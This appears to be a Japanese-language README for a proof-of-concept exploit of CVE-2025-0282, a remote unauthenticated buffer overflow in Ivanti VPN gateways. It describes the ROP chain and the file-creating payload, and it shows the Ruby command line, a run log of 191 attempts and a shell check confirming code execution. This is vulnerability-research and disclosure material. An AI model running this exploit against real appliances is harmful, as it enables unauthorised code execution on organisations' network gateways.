
CVE-2025-0282 の PoC: Ivanti Connect Secure、Ivanti Policy Secure、Ivanti Neurons for ZTA gateways に影響を与えるリモートの認証不要なスタックベースのバッファオーバーフロー
Ivanti Connect Secure、Ivanti Policy Secure、および Ivanti Neurons for ZTA ゲートウェイに影響を与える、リモート・認証不要のスタックベースのバッファオーバーフロー
これは CVE-2025-0282 の悪用を実証するための概念実証エクスプロイトであり、watchTowr が公開した悪用手法に基づいています。
この PoC は、Ivanti Connect Secure 22.7r2.4 をターゲットとする ROP チェーンを備えています。他のバージョンをターゲットにするには、まずそのバージョンに対応する ROP チェーンを構築する必要があります。
この PoC には、ターゲットシステム上に一時ファイルを作成するオペレーティングシステムコマンドを実行するペイロードが含まれています。これにより、エクスプロイトが成功したことが分かります。コード実行は、非 root ユーザー nr の権限で達成されます。
次のように、バージョン 22.7r2.4 の脆弱な Ivanti Connect Secure ターゲットに対してこのスクリプトを実行できます:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
エクスプロイトが成功すると、一時ディレクトリ /var/tmp/ に新しいファイルが書き込まれます。ファイル名には、エクスプロイトの試行回数に対応する数値が含まれます。
ターゲットデバイス上の別の root シェル(アプライアンスをジェイルブレイクして確立したもの)で、エクスプロイトが成功したタイミングを確認できます:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
この例から、エクスプロイトは 190 回の試行に失敗し、191 回目で成功したことが分かります。したがって、この例では、このターゲットへのエクスプロイトは 34 分で成功しました。